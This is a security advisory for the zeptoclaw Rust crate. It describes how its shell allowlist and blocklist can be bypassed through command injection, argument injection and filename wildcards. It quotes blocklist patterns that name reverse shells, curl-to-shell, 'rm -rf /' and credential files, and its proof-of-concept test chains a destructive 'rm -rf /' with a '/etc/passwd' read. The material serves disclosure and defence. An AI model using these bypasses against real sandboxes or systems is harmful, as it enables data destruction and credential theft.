GHSA-5wp8-q9mx-8jx8 zeptoclaw has Shell allowlist-blocklist bypass via command/argument injection and file name wildcards

• crates.io zeptoclaw: < 0.6.2 → fixed in 0.6.2

Summary zeptoclaw implements a allowlist combined with a blocklist to prevent malicious shell commands in src/security/shell.rs. However, even in the `Strict` mode, attackers can completely bypass all the guards from allowlist and blocklist: • to bypass the `allowlist`, command injection is enough, such as `;`, `$()` etc. • to bypass the `REGEX_BLOCKED_PATTERNS`, argument injection is enough, such as the `python3 -P -c "..."` • to bypass the `LITERAL_BLOCKED_PATTERNS`, file name wildcards can do the work, such as `cat /etc/pass[w]d` Details In code src/security/shell.rs#L218-L243, one can see the allowlist only checks the first token and thus makes command injection possible. ```rust // Allowlist check (runs after blocklist) if self.allowlist_mode != ShellAllowlistMode::Off && !self.allowlist.is_empty() { let first_token = command .split_whitespace() .next() .unwrap_or("") .to_lowercase(); // Strip path prefix (e.g. /usr/bin/git -> git) let executable = first_token.rsplit('/').next().unwrap_or(&first_token); if !self.allowlist.iter().any(|a| a == executable) { match self.allowlist_mode { ShellAllowlistMode::Strict => { return Err(ZeptoError::SecurityViolation(format!( "Command '{}' not in allowlist", executable ))); } ShellAllowlistMode::Warn => { tracing::warn!( command = %command, executable = %executable, "Command not in allowlist" ); } ShellAllowlistMode::Off => {} // unreachable } ``` `!self.allowlist.is_empty()` makes the empty allowlist overlook the allowlist check, if it is in `ShellAllowlistMode::Strict` mode, empty allowlist should direct reject all the commands. As the code in src/security/shell.rs#L18-L70, we can find the `REGEX_BLOCKED_PATTERNS` only apply `\s+` in between the command and arguments, making argument injection possible, and the `LITERAL_BLOCKED_PATTERNS` just uses specific file name, totally overlooking the file name wildcards: ```rust const REGEX_BLOCKED_PATTERNS: &[&str] = &[ // Piped shell execution (curl/wget to sh/bash) r"curl\s+.*\|\s*(sh|bash|zsh)", r"wget\s+.*\|\s*(sh|bash|zsh)", r"\|\s*(sh|bash|zsh)\s*$", // Reverse shells r"bash\s+-i\s+>&\s*/dev/tcp", r"nc\s+.*-e\s+(sh|bash|/bin)", r"/dev/tcp/", r"/dev/udp/", // Destructive root operations (various flag orderings) r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\s*($|;|\||&)", r"rm\s+(-[rf]{1,2}\s+)*(-[rf]{1,2}\s+)*/\*\s*($|;|\||&)", // Format/overwrite disk r"mkfs(\.[a-z0-9]+)?\s", r"dd\s+.*if=/dev/(zero|random|urandom).*of=/dev/[sh]d", r">\s*/dev/[sh]d[a-z]", // System-wide permission changes r"chmod\s+(-R\s+)?777\s+/\s*$", r"chmod\s+(-R\s+)?777\s+/[a-z]", // Fork bombs r":\(\)\s*\{\s*:\|:&\s*\}\s*;:", r"fork\s*\(\s*\)", // Encoded/indirect execution (common blocklist bypasses) r"base64\s+(-d|--decode)", r"python[23]?\s+-c\s+", r"perl\s+-e\s+", r"ruby\s+-e\s+", r"node\s+-e\s+", r"\beval\s+", r"xargs\s+.*sh\b", r"xargs\s+.*bash\b", // Environment variable exfiltration r"\benv\b.*>\s*/", r"\bprintenv\b.*>\s*/", ]; /// Literal substring patterns (credentials, sensitive paths) const LITERAL_BLOCKED_PATTERNS: &[&str] = &[ "/etc/shadow", "/etc/passwd", "~/.ssh/", ".ssh/id_rsa", ".ssh/id_ed25519", ".ssh/id_ecdsa", ".ssh/id_dsa", ".ssh/authorized_keys", ".aws/credentials", ".kube/config", // ZeptoClaw's own config (contains API keys and channel tokens) ".zeptoclaw/config.json", ".zeptoclaw/config.yaml", ]; ``` PoC ```rust #[test] fn test_allowlist_bypass() { let config = ShellSecurityConfig::new().with_allowlist(vec!["git"], ShellAllowlistMode::Strict); assert!(config.validate_command("/usr/bin/git status; python -P -c 'import os; os.system(\"rm -rf /\")'; cat /etc/pass[w]d").is_ok()); } ``` Impact Unauthorized command execution. Credit @zpbrent